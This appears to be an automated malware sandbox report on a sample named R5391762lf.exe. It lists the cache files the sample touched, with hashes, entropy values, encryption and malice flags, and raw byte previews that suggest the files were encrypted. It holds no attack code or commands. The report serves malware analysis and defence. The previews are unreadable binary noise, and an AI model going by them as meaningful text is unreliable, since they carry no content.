Preview:	<!doc..n.cV..X...j...%.UYB...Ah...`......j....ms...m.8C.P..=.....r..+.......+x...D....Q.X.m........#F;.F... ....C+3..u..P..Kx'B.e]..k.[!U.b.%..e.......Q.q:.9.%^^$M.P.....`..Q..sV.s.V......&a.1.r.....7.M..D[>..&..L[Bm\|..e.._.....(.#78..>...l...k5...>,...nh.0.hg. t_Gu.<.K.%...{.....ckQ.q.U..~C..%.Z7!..8..48a......\|..1R..i....w.@.YK-\.6..n7...[6I..].H./.t...YqTv.I+...\Z......$q.].o.6k[)....?]h3QX.j..:.....k...q=.,}.2.X.....>.U...$A...CL .....C}7`;.....c.#...>.GN.[M9z....>I...Iz.c.c..us...C..M....B.v..lZ.jp.....d..!C.......L.x...+...C......1.6s.....9....M3..!9).PsF6....cG.....}.^7..J..Q.....>j..DM.....=.&oG.../U..y..p]l4.yq.b4b~A...!.R..E.k...QDy...a...+$.dK...V.&^...\e...%......k5uLc...g..N..#ej..K..d.6....3.I...HJ.}...2...-\.^..HgU......LBY..[....K..9.oD..K..4....2...[)..k.?.%.i'..zm.......g..&>.+]Q.p........[..N..5"W....UA]<=m.w.\..D.p.rGJ0.G3.g.........x..7..jIy........>R.ynN=T9^....J.B.x.f+.d.....[G.....;+.\...K].J..i,......*

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\hero-image-desktop-f6720a4145[1].jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	JPEG image data
Category:	dropped
Size (bytes):	138532
Entropy (8bit):	7.998694588758767
Encrypted:	true
SSDEEP:	3072:VePBLlhyJ7hWfwWLwr5UXhB9ItsHVH6BhU/g:VeJPC7hiNB9OpX0g
MD5:	BE08C9A9DCBBD3DEF65807751E703684
SHA1:	BFD7E4BE44E77E4E731ACC59A82ACC48678919C9
SHA-256:	4B16E1F9E1C7C629BCEA05CAA8FD1D0F3022E2F0E98A02486572C213DFD2A006
SHA-512:	E848342D40F8922EF9ADB974ED7D8FA4D679397AA99B8F34BD8CCD8CA784D013A87725820924A22B5819EE1C0F1DFB67A2C9C5C731BEF82DFF8B852C40A150E4
Malicious:	true
Preview:	.....%c..k.5..b.Zm.n..G.+.!..g.t......c..}.)..^$f\...ZB...%{..2.Rj.....S36.8..F..A4........l.)./8..].>...khyM..@.nx.Y.Z.-... .u4..%..S.)...\.YQ.&...T.......>?...P..G...(.]..B....a.dM..qeM\..0.....q8d.B.e.O..CEv].j.ss......aR.c).\|.p......".v..&..i...7......yBY.....t...l,Y....B.\...!S..j6...?..z.S..On....~..NB4._.d.=..9......<w...(.N......05D\.B~.....,.......D.nzx...H..o.....N0...e.I.W.......Q?Z.,K.c.:.....L4KBJ...j......Z.Z.q7.h8vQ-p...-3+...2.....S..x.f9.~....#I..m....w.Y01.;..j&z..IbD..<..........+hfX.n.+j.N^M~....x..@..H....r..\|.`.oY+..v..GA.....+-...sJ.q....t*.S....w.......=B..S....v..r9....6.?+..B).s.MsI.3.....B.cc...a"}..O....4o....4.....G..EN%......t...b6.......$Qw5)b..E.BI.....r......)^...j....3.......\|.O7..G..T.^@.5..-..u7..S."-5..O..r..E.d..{....U.L..g......w..z.-.".4Uc .F.!. UKtoa.uV.....I..z....ou;w`1g9...N.k+T.Gn..V.....%?...o.\|...t..t..Y.2....^7......N.A.#3.3...N..W;49..3.?_+B=!....jl..(GLF......B/.U.kp t.U....CJ.\.p.d

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\microsoft-365-logo-01d5ecd01a[1].png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	20610
Entropy (8bit):	7.991657320538385
Encrypted:	true
SSDEEP:	384:LsNFAsis62YSBk32NuGpO6JhaGOq5cb8V67PoIRjkHVyU9Q:yiGrBkmN7BhObbzP8U
MD5:	DB3D5E0F8F4628523DCF567A4DA08FCB
SHA1:	4EB193950E726A2BDE708A76944690C17C1CF160
SHA-256:	F8CA5572260C917315444B5DE12D2E617166827CB9825A66F9BDCB7B6D6BE3C9
SHA-512:	E53E801AC766A65AD626ABEA2FB6B1CB432F99C78F302EA146AC106689A7BE3B35BA25F55EF6A778ED509C92F065D83A09A5F570B3FF122E8FBC8DAA95CAA083
Malicious:	true
Preview:	.PNG....A./.....lb.2..... ....\|..M...&....-.6.R.OEy\|..1......d.4...f.B..........o...i.5c.]s..4.x....H\'..,..........0.`.+...:E.g..aw...o.#.Gpi.Q....'EZ...#/."Y..;.O#i...q.jw....Qo.%2.......#.......L.Y.l..}.J..X.~0X..F.=.L.rr...h.}b4..a\|_..$....I:.............W..%....L.f...mO!;.C.4.....k..V...'s....`h...s].T.K.z..8o...?.{...dN.^.{W...UPo.dW.0..ZW.Fd,Oq.-.]...[x.......\.N.h.oA]68).@.y.=..#r+...b?.....<6.9x.~H>.6.`..%O..8>......&.0....-g..Vf.ZM...s..s.Z..a...{...s[..d..B.X..$~...{.'..;..&..P..`Q.wKj...`.xR.......A..f..o.6.37...,\|.....P..@g..5I5...-.8.9j....-I\|..d...Z1-.a?O....q......A..6>.. H+\|..:.K..av+...x....v..:..q."..B.5.7....4XN... .....;;D..(\.X....Bn.{j..2.7W..tt...l....9..6..)1...Ob......Q...>.......OG. .1..2..U{x.F.A....cMU\|......=Nn<.I.:...}.4..f3+... =.s.m2z....8.?\|.`j.)M..Z.FD.<..d3.q.L...`y+..>./!.@R.....;...N.3_...8.....\|."D.J.Q.P.Y9.<.......x.....]f<..6.Q]...)M..;.)....MF.:.c.S.nY.$.Y..\|.........T=..4<L .

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7[1].css

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	45477
Entropy (8bit):	7.9957212639694335
Encrypted:	true
SSDEEP:	768:Oxe/zU6Ye185qteivPZK30cjn73zr6g8/MIh5R4BMQpUa5v5U3MOQ87zcOSVech4:fU5eNteivPk3JPb8/MIDRnJCvK8mzWh4
MD5:	B572588DBCD38B852B5436EF5EFDAB0E
SHA1:	D2E8CED425EEC2E9BA804DC24068A916D2BF12A8
SHA-256:	F2E47CF71CC3692D608A668921C9E34FE2F21EEE604CBF274DD505E31B8B0473
SHA-512:	0F34AEC81F6419ED0398465571850B484945B8F157873789F2E8C19E3F57C23C392103B6AC76917B2D5F80B95C46A298E6648EB2B5C07D2A5A923BD0874C70D7
Malicious:	true
Preview:	.mess.I ....9..0.a.u,.J...g.r.;'/n......\s....g.M2.....<..jj...;3...tz....J...d!...pf.o...As.4.[n..K..)g......&...o...-^=....x._.0........5}..0.....;4i.t.....'......./.tzpH%.>..W..I.,k..j\......O....b@:...`.w....<..]...oH.........j.U.A..1.y.6y..2_...R...".d...f.,..}...B.%..m...H8a..82.1.WI..Wp.D.G.WmH.\|....c..^dBM...... .N.dd......uu.b.!...@..P..~c...H...'<.U8.m,H..F.....z{D..4...L.......B..}...1z.UacE...$r..:?..G.P>\....K.^..X?...o..;A@.Z.\|.a.>..%q.4l.I.Q>..<..R....g..8..'...e~..Z.D....bdf..z ..IG._xQ.p._..W\..).s@LZ....a...oR.<....p..^4 .e..O...m.;..3.......}.t%x........v.h.`...lT^IWn.+=.j.9g...w.o!LY\|....k......^..8s......U..y.P.....9:.,....h..)..}..e...u.....xK..]7..L..G.....Z.`NG...w...z....f#......C1.Y.r]y.n0.....y.A.o....1...\....u8..G......GF....N+...].JvO.=.pE......\"A._{q.f!....\..xP..ZAAHj.6Y..(.....>..cyB....K.=.1.G.. ,....b~..y..3oE..H....,.3.....F...D....f%o...].B.6....`.(...5o.e..KcJ.EZ..+xv.H...E..}Df\|...BVv5......!....v...4

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	46349
Entropy (8bit):	7.996069462020497
Encrypted:	true
SSDEEP:	768:Ijpu5gGUFMuqCnxJfUyeCL2XMRa1e1duw+WrK9KRr2chPTXqx2Z2adwIIKJaxSQD:XgBk6/fUyPLLiIddprMKl2chTS28aNIf
MD5:	08F33EA72FD45DD2EC451C072AC5982B
SHA1:	3B97EA005EBBC2405F1F8E96631B1DC8D406ADDB
SHA-256:	B325B36A2E9B8E80CE4CB67F1C178F705F999F3B3771E6A1580EC2D1C618C7AF
SHA-512:	45E5DAC8BA10CDCCA4DEE926ACD7364E727F3ED3852686515296670A7035368580B47E678FE24EA74B56C4A4A75C0D9E7F095DED08D817421397564F8B7D45DD
Malicious:	true
Preview:	(wind.B.\.@.AU1'.2W..{...T.8..\|?G(p.....W.....c..PcF5.Q0.![:9..I...m.B,z.g.?a.@.I~Z1..ivd\|{.4.N...q.0.B....b.?`...;.....!?..B.GP..U.i a.=.....N......J..$P.t.`.."7q.}.\.i.} ...SK;..'....P(I..m\|@.~j_..7..v6......-X...5ae.......-z..9. .&..'...7.....2..d%..A...}.P.(...>.....i..5...E%.#%..p.;...?...,._.78{..N..{..RJn9.....ch.Z......)v..=.]%9{./D..m......K'.&...\49...aB./.......~P.......].=o.,w.i<5..k<...$..5.O.....$J...pQ..O..w..-N/.GcUvs..b.M..:.T.....s..VL.y.5W....S1 v..T_F....q@.#..\......r.N.2.....Yx..3..n..-<...DCU...93.....a..V=wqs9b.~k.3.......? H.@.I.u.B.d$...8.......}v...T_...A...G.........W.....;...7._..Q}T...+.L.B......<....v.7...r..B.!leZ...\|.... ...zeO.$...S\=$..~..7.)jW.1..O.R.Yz....>h"...W>-4.........e.....:Zi.EV...,.J....5.".....T.#.4@..a......7.....P.O......"]r.q..o..7.XM...E....'d&.3..h"{/R!L.....Q5:..J.6D..].z...<.A..n.i.&&........h.Q\|.....6..k.....di.......\|q..:.._...kAi.....yA.A...Z...z.C.X}.c....v.s...-...Q.

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\pwaunauth-9d8bc214ac[1].css

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5593
Entropy (8bit):	7.965593554258544
Encrypted:	false
SSDEEP:	96:pZ0Lj1ViocdnODeMn9DH2Dbe+YgEJCKeC9Y8jDy784kMke1xeWCE3+XxTOQGeFuQ:30L5VioMnOKMpW+sEJCpkNj244FhDCjd
MD5:	0D411FC8ED20378D232CBF70A19798B7
SHA1:	E697E6A05952EFE0098E105B30798E6A2C824E16
SHA-256:	5AA406DC45A0B9AF1188E7BD1FA43395C067BBB040EEF1760868CB5F96750AE0
SHA-512:	1C1EB32704295E273333D779007CF925A2FAE105B7E7464DEE998850C5982B46C6EA998D0E1468049A68664B7D72BDE46101AC5137F1825B789C36F98D572BB6
Malicious:	false
Preview:	body{...cF..s..:..3B<w.Vo2.......m!.f..F..~..sX.....B.q ...UX..9..%.........%.;D...C....9...o.Q..5....#..3G..HB%?.R.#=~.....F0.r..s.@...C.2......7...H...5.....d..........FK...0X.q.9.wT.,..:..>..G.WsI.WU..%5.x\;:....v..}.~SW.n...x..ynl...KN4.....8-I....c~BA8.Qd.h(...W..,.XK..rC...S..I.%.......U...Iw@....j.Z+y..4..).=.%~h.5..5Y..B7+n.D.!..H,e?7K.>&H;.Q.Tp.......dm^....L..I^p...[UG=..".$;.....0lTCG...w..TB....7.(k1...!....F..G`.....6.L.x..Lg\|.A.O.... ...1.(P..<.......?...o....... .....kc=z...V.^..0;$.K.O....Z...9..+..l.J.Y.......j.p..(g.c}..oT.%....'..L#....&... ..._....c...]'.RX..sO..;....e.ZVR......].#..;J..O"..N...4.J.Xu..P.R.\q..^..X...Gj\|..y....yD...u.0....`..........:..!...af.., ..F...(..P....I...[._Z6x.Z.J.. ...Vd.e..7...Z..\|..G./...........\0.k..n.A...K..Y.?vt.G..+7.....).e.[.._...........68m..@\X.9..@.[.5...$....q......0&..f.8...... )..g..d......(8.h-...P,.ux....Q.}......^.....w....E.....$.{.,g].%...Qq..K..Ip....E.]..m!.I..

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\unauth-checkmark-image-1999f0bf81[1].png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.642423237776947
Encrypted:	false
SSDEEP:	12:mNv27gylkDjb1AVs8sW1TIedFPTDq0LPCPArDytWR3BIHjJMXqOTuWcii9a:evm+PUPFPi0WIq4KHjqXq8uWbD
MD5:	DF0F0FE746C5CEB614498254C32AF57D
SHA1:	F9D9B47F2EAF0A86F67090DDE02280AAD3B56AC2
SHA-256:	F63059ED6E204B12AF975A2D2CA23D75DBEF2EEA62B46D9B2A321F578E818C02
SHA-512:	7CB559F9D95A931504F2F6D014BB707DE586984C0D98B73DD5DE225086CC45A07182B86E4FE6B0C92DC53985C865F91C332EFEEE19A63E6D3AD9B1E97CC587A1
Malicious:	false
Preview:	.PNG...Y.F.1...B.O.....c.. .......D.....+Q.....h.q....<Ya..r8..j.C..\|Re..@[..%..~..R...sh...2...S[..}.N..../...7.(.9..'.;\|.....7...El......L..z!..X^...w..w...)...Y...-...M'<.uQ..I_...8............6...;.=...-..m...V.z.B~....;.....&.j.gC.mBD'Kt1.:...."......b....C.^..5.E.8f.5j.......y....p#-.e.\x............M.....m....j..P...Gq"..].)7..r...oH}.E....41...v....Md..}.z;9....WSR.x.@....Hs.....a3..$NN...>..D.dt3(.......4....I.+/.UV!5.[(.q.-.NO.\|.n..0..^..jr_...D*w^...1..w...:8..t.....Z./..".5..Y.....P>.u.!I..F.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\ew-preload-inline-2523c8c1505f1172be19[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	11933
Entropy (8bit):	7.986159442099335
Encrypted:	false
SSDEEP:	192:+HEVuWrPEJ1APK/thldRoqBTpJuLgD5KLNZT+O/eKl4ZULRmHH6Zh2o3Hf19x1tB:tVuWrgA4nRjbdKLNZT5/eKl40R0H8h2C
MD5:	4C6A93DFE32A04A31F78CC0BB9C7896F
SHA1:	B56321F64CCA28ED6BF80536951AD6D16C9FBF32
SHA-256:	9E162833ED7D2F4C5FD5F2EDB7AA5F622BB3633320532F2E29115834AE65AA78
SHA-512:	430228F4C9178958AAC60D94E1118A13C9EFA797D2DFC529F8D81436C3ECB2B5ABCA9901C151F6D41AA32FEAD6D9CD07BC4B4FE986B42A60C158D2F14458FA7E
Malicious:	false
Preview:	/! F.U@....L..~.........A[B..i.B.o...VJ..s;.&......:..:....d..}.)..p..wvv..XjOo:V..tX..m._.y..._.....].d.......Z.4q.h.[.i....j'HOX.q..L].H"] km2..Fs!......%.....:.k.Y...(..-...F..$C....G...{.....E.5....b..,D...<...l+.9V...n....w.+j.&..\.N .L...P:.......p.......2.....:$F.UA..q$..i....i\..v...[g,......\.v...L2....;:.M...j.F~A...EI..(..r.bk.!..^.D......j>..'B...+.)C.B.....$A....?s....H.+..y.3.C.T.6.C}....!..:.. .Vf).^..).6.{-1.'!.o.....'9A.<>.g4A..d."...k.#..U.Mb..c..f...<..6......V..x.L%....Z..[`.d.P...c...A^S.5..v4..m.X].8I....#Z..\|.............f...Z.................9Vq.:.......m.6z!X.../.Q....9.n..M.4...../.{..<0.5s..3.l8[..f3.I.}..........6-.a.Sm.....Y}......Yxt9._1.E.1....Hrvn..+.../:^B/..`.......~..&1..e&Y.v...?..........N]...X...(...aCHJ{@k[.D......\|v...M\.t.{'....R....c.........W....(..=N.......+.O%.T...._%.;......O.Y."7y(.3.+f%ts0==<.C.Bi....i...I{.c.^".b...+...3..g...Y.....0.-u..d....f..H.l...6..T.D~..'........ITs

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\otel-logger-104bffe9378b8041455c[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	97860
Entropy (8bit):	7.998038457533039
Encrypted:	true
SSDEEP:	1536:/mx/2sm5+k34QbYS3GIdjMeLr8z7HW1VcimhnQBtlHBGTx4slIMeM2MNhd93T9PO:uxm5t4XsGIIOCnQBvsTx4saTcddx21lt
MD5:	90196DC10CDE53285AA66C27B8BAD16D
SHA1:	37EFB80CF47C4A5D01CAE030E8A20652F058D1B2
SHA-256:	9842686D30D665AF4E305C2BE66F4376C5A105890AAEEB784D56482928558694
SHA-512:	1C7B58B6CC48D1502F75BB00EB7BD254B08AC51DFEDD0542E647AEC9B7E17C5A283AFF7388F5E3E88EC4A8E4C1F91612B6C9179F888AA82EB3C11B0C4BD38130
Malicious:	true
Preview:	/! FIu..{...A$N.....\|t....X\.9..&\|v.^.g$..D.+O...B.?..7o....X."..T..Q./O8 .......B.I.:../Vz.}d.!..c..%.Y...Q..k...05V.F^n]).e.J..>....R.._.`.`.{....Q.......e...AM.f'X...$.........f.$..&.Ce.i'.....<l2^`....^..L{.\|@..[..&...X6.@>\|.k.R..bd...;Y.....Y.a...X.."Q.'z`..7#......p...oa.b... ..go.=..=X..ON.b....J`$..<.-8.29x..t......8.WU..U.2u...g....T.p../1.;.....xYTnf.[...g...J....x..qS8.Y..f....'w.4.{..u......[K....l.A.gM.....4..s.:^.>{........k..Z+T@.b..uG.,2...c........&.-......D.. F..dx..g;k...cu}s.!.#..dD."......s....n%>....sC..p.IB.}2{...m..."..`....[..._s....6\|<...X.h.......PRRwH.(.^M..#./....'..W%r......T.].Q.%..y...K].}1...t).+;..k.R...`._....2........EKF.4.}N."....@sRgM...5.^+yG8.....B..ci.o.5.,n3F...<Mv.i[r.-..=...-.nA..NY..........:.A..KfA....tS...,..".2d....PD.&Co..f.Z....WXg..d?...[,$..^..jm....\.&.#...E..oA...FA.@..{.jo.;2...i..s..^.(.M.X.9_....p.z..@..........uh...u.L..%V8.FN3.....z...=;..D....ItG...&&..[F.Jd..C.O.,.......e...4.....?

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\pwa-bundle-0debb885be07c402c948[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1212722
Entropy (8bit):	6.022386158244522
Encrypted:	false
SSDEEP:	24576:day/RCAkZNKZ0U+D5XZecYd0rqpBjOpnj17B/uNXunefg8nlodEpKIwNudP18Ine:3gA9Z0U+D5XZecYd0rqpBjOpnj17B/uo
MD5:	FB9BB70B42ADDFF64F92146C117BCD38
SHA1:	65E827794E2399FF54439FEDCA3A61A257C661B1
SHA-256:	9D63E52BFA12E99712F90EC5A2FD4764ADA212989CD272FBE5367C3C803B4B7E
SHA-512:	F692AAE86E2040D98419A29A15CF35BF8E92D8A9CB719FB6DDDAB75D7E8B9D737D857CF614F709023932D0B660E64871171EF94D7E1FB00BE9D98178E189B46F
Malicious:	false
Preview:	/! F.".....\|0............q..Z.t.W.0A...HJ.O?Qr..,t..,.8....(..<..9'V.O.#..!.M..<..f.N.l...?.u=....9....V....o.....a.bx..8....n.G...X.....O.k...X.H6..N..v...`....#.n.IZ...n.."Sj..".P#.q.>^.x..".C..X....j....Y.1..~\|.fc.l...u.....,I.....'._V3..>?...O..,.{).c.M\....}...g.0~.[]9D{.>..F.x.l..V.....5..c......{+.{..h.~...U..{Z-.P.Dk.#jy h[.@.p.5\.%.B..lH............-...1,..-.5....Jt.(.%.b.f.....7.X....Q..#h..d...+..b..;..o....E..g.....yWLx.!..J.8[.....A.....rr.X.."s..K..\|. Z.T...',.jz..../.!V...^m..\|..........S.I..."6.F.2V......}..D...&3eV.=Xc....T..M..R.J...Q..S..."..@4...j..".f~.....$...q,.F..S......@...Ti....gC.z....&.L.....2..w.?&.O2...)2.....lXk.p......1...h..wL.5G.'.&.a.....=...8.q..A.....w......I......1y.$.^...P.R.....r/.M..\.W....V.a...5.....l...-.....J.0...8)....b'...\|.1.-.f..V1.C0(}.f.....Y....P].I#...6...i.&.4.m.l.9.W.....$$s.....x~WaQ..v.}:3.+5..c...G..#Um6.jq.#..^..@...t....>4...%......gnS.C.!._.17..VD...;..$..>...l... .=V.T

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\pwa-bundle-994d8943fc9264e2f8d3[1].css

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	91851
Entropy (8bit):	7.997974010937221
Encrypted:	true
SSDEEP:	1536:7doGnjXS9DIRueMJh2KR+qDMb5LOCtMPx5XMF5FO9Qjl3UkwJEr/E0/zvM7GESNF:7d1i9ERpOhjMbcrJ5X65FOadoqrM7uSi
MD5:	2E67E8BCE48AFCB998C3CEC42964F5DB
SHA1:	526A91C359534E959DBCA9D946BB43EF4C6FD1B2
SHA-256:	DE6D6A4A35761E80B238F7457F3B40D14FAC61A03072851EFEF48C1D52A8D675
SHA-512:	CC025D4DB5960A76EB9EF60A38950DE6626F95204D2579ACAFB16D95D41270ABE9E2D6065C0E3AE8E991129181C4B18D94A5D0CFC40735E2F37EA43C65A481E1
Malicious:	true
Preview:	.offi....@`....{..Jlh......$M.Ni...........%.u..t..i...Mb.lJZ[...d..YN......?.c.r.?....X..........U..,H-.}..Qf.....Nm3-..M...RK.0..kR{P...s.wqk..I.O;H...]r.t.8W.....J0......G.Z....."+.Q@..jNMX...g~.i.Q.w.tr.=&..pS..A)D6..gy`@..Fp+.E...U$...GK.B....r..d..yz....J.P.!.p.s...vZ.+....V,.~]W"..xEF.r.5.....NE.....X..4.ar...x.....Z...PX}fZ.h.........$..l..j....r ..n.?.(..X"^..!...E........9.4H.......3.f....?.j...i'Rk.pR...Vx.. .B.9.8..e.eFh...}K...U.(.....,.5(L..s5[......^.[P$.M~-..(...#EIyS.....Om.......[...u...d...U......e.g..tz'..F!.`......^...l..6.......t..\|.J...J..`...N}bB~...".{.........Zf.o0. b....0....L.~K.~...Ej.....1$O..-.9.....@"..,...qj..4.i......Y=....m.......p..$.G.f3t#..F.Q..Q...c...,..A..b.).-.8.\|.h...i.d."W..T..u.....\.H..`......d....,p....PO3.[U.V.tb..yqHSkR;.+.1..j..[C.=......W._....5\...7-.D...&.C.u.sC y...G..nH.-q'IH..z.Ko.F(...qI1.......'7...9o.Q..<1~.(..91.3.E.T..w).).f...".3.;..'.:.A....q-L.M.Z}...D..i....RL...S2.p!Z^.0.."~

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\pwa-mru.9ba2d4c9e339ba497e10.chunk.v7[1].js

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	43926
Entropy (8bit):	7.995764735006802
Encrypted:	true
SSDEEP:	768:4jKKvDFTUfjC4J8TKYI8gqw9po/f4pFkNcfMCofDD+r3MRFsYXlkYY:w/J8G4a+YvgqV/QAJ8rzanY
MD5:	03D073B8C7F1C0E162799C845C73A55A
SHA1:	49C5859B515B4407A36A60DDF682E4FADAD6233E
SHA-256:	DE16E27E79A3E39735E14D5B695C73B4C29AE41E878237B6E981D5E563E10785
SHA-512:	1365976F56D8B80EFC3673CFC5EB8EC1EC5BE338CEAFB23A4DED6E597E9D8B4732F92F37B05A819C6038C9F0F8347C836937989A19571E5039E28C84E3515D8B
Malicious:	true
Preview:	(wind=.(Lq...).T.N.ol@:.}..3..6.e..0.L>......> \&:4o(a...&.c...m.yP9K".C..Y0.?U.F\|S..7....F.SgO\|....N!.0.F... )......~..z.f..m....$...._.x<...rz-._a.+..q..Wlg...,9..v..>.......{:.f~...3.V..&.D...B.gM..Tg..ds.%.@.H..V'1..q.r...2..x\|.`Wf..k..9''t.9...F.-......Hp.lPn..3.``D.....wG.k..........W<v...d.l..6N.MJ]........Lm/./tb#...]a..............u..qG.w...AJ...i\.\|T....x........6.sG..B....H.3..S...G..9.u]W..A...G&.....7..O.(X1...i..cX.t%..DF.Z..(>......}I.=%Y!..3^.W......u$g..:3hQ...+4:.Y......FW....r..q4.$.h.$`yk(Zp....k,33?.z...'.....r..@..I..x..+iJF.y\|q......I/W.q....s..w..ot.O..@<..w..R....:...S....0.w.x.#.......M..E.=nES8.l.u....\|....A.2...St....tf.....h..1..gy..*.?C..RR....k.zF.2w.....%.a..zI.bT..la...~I>.N..n..X;.Q.E.P.G..^.}.....W.,.\|...,3.a...7.....\Q.\|...X....;-...GE?j].$.z<..%.,...P.<.....[...$.....G.....%K.@.....2..I4.T..5J;.....Q.....h...;.8k0- pw.i..:..b.....\.Cd ...$..~.y.-.~.?0.......'...7...W3]../L.j....T..............

C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\unauth-apps-image-46596a6856[1].png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	7357
Entropy (8bit):	7.972428555576412
Encrypted:	false
SSDEEP:	192:zT7bkTjXKoZ199KMzmkMLfkD30aQkgP3SCey1bYQ:E3/Z/UqmtjQtQPPi/yyQ
MD5:	7BB0E63F9763CB1BAF0F52A7F683B219
SHA1:	15CFF3A6F23C4FA910FCC4569C8410F597E78C3F
SHA-256:	56F122EE9845616E30B229D57A8D732B88B6C84715BDBFDC893D09C684522A0F
SHA-512:	76FA43DFA1250FC71C6D61A884C0150034254498C45551627F572FBCAD345671136F54FC92FAF474532C24B4D908459630E0F013088621FBA7A5772F91E9CF45
Malicious:	false
Preview:	.PNG.I...YP.h..x.^.2../Lq......x.4<w..."[.J.....@s6@.........X.....J$.C..SF.`.o^..h=w.9k;.:....^..L.4..4.J..9..S...D\|.c..^...9......,C5...w.~9b..U...".P.4.5...YO9.C.!.e;.R'..j..\E.V....4."G.....Jn.-,..e..\_..F.4 ..nv{......D.PG@.h.G..b.-..5......'5..2k...x..$>:...j...U..\T4[.eX.h}u..Jtfn....M>l.....%...8%.7.....-H....1..2.h...d......ER9....XJ._.Be.k..NX.((.[(..{...@4..XRMU.N..d:N./..a>..".I.V.&.....k..&..!N.\|+.&.$w....Gp....k?..j.&.^.ypH..b#Og.....Y?.X9...U..)^..)8..6..x_....c2M_....6.f.J.....zk..K....K&..i'e.Z..2.>..u.PXOnU....d...sb.....v'.<..1Ww.1.&....d..[.?..T..w.4$.\|z.W.?$bEBeU.tP...a.....[f..{...s<I...7<J9.(.......Q..h!4.F..v..pi.9.o-....c.0......d}N...8.../.I.....@.._..1.(9....m&.........D.&..`..V~Q...t.....\d.D....X..-...f....E..J...N.<qCmT.G."....'..A....>DN.h.........o..nOl..?.....1}..I...*....a..-.t.1SL ...pU.c...z..P.}...7...p..Y...C..!w^.z...x..R...j.y...2..l]le.=.......O.g&y..2T..c.J...).....qX.c.e;..AR....N....B.......

C:\Users\jones\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\AC\INetCache\6RHHGU54\connecttest[1].txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	356
Entropy (8bit):	7.299571678632836
Encrypted:	false
SSDEEP:	6:4lT1EIQGwOIPFBvr+2O11jPnf4g0dc7/iS5HYcN00ZQtXqHk7T3eWcii96Z:iTAAIPyXb7ATc7/iSN04SXqOTuWcii9a
MD5:	C6D33C8A2CC608A79F12C0CD1065BCC5
SHA1:	E5B23E952700F9742EE893EA07B0485938A0AD96
SHA-256:	15F4FD3E9653D7F1F965190E5018D56A6702C545E03AE4ED2B00509ED8F7D2CF
SHA-512:	8F5FB6399169C82C95807F6A1056BDE1C62FD9B3A1AD6863360434613DED87C183D55D8660A0994CDDBB5381CE5165889CD13D117F5751A16DF6B9D85F086884
Malicious:	false
Preview:	Micro_..X..1].5Q..7.O..e..... .~......Ly..C8.^..............Wd..v"\|....d-=.).]..JF..F.@Y..a......R...qV..e.....[.Qt...:..Fh*..zPI\jg..:............).........@_.......b...=YI......^....(C.q..?..zx..([.c../v..........9{....n..d..eO......mv..f.I.'.+.\|]]."!.]....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\AC\INetCache\GOGXYOSL\1446_8.53.0[1].json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	136938
Entropy (8bit):	7.998683492083218
Encrypted:	true
SSDEEP:	3072:KP4DmKFc/bv7/ZkVUbn+hE2KrKTHg0r+6K/or5:Ke2zv7WUsEATHrW/o1
MD5:	2AF4490B9DC29AB70B9066593905D512
SHA1:	D92873AEBCBDC0CA9E58880C0AB7CEAC44A914DD
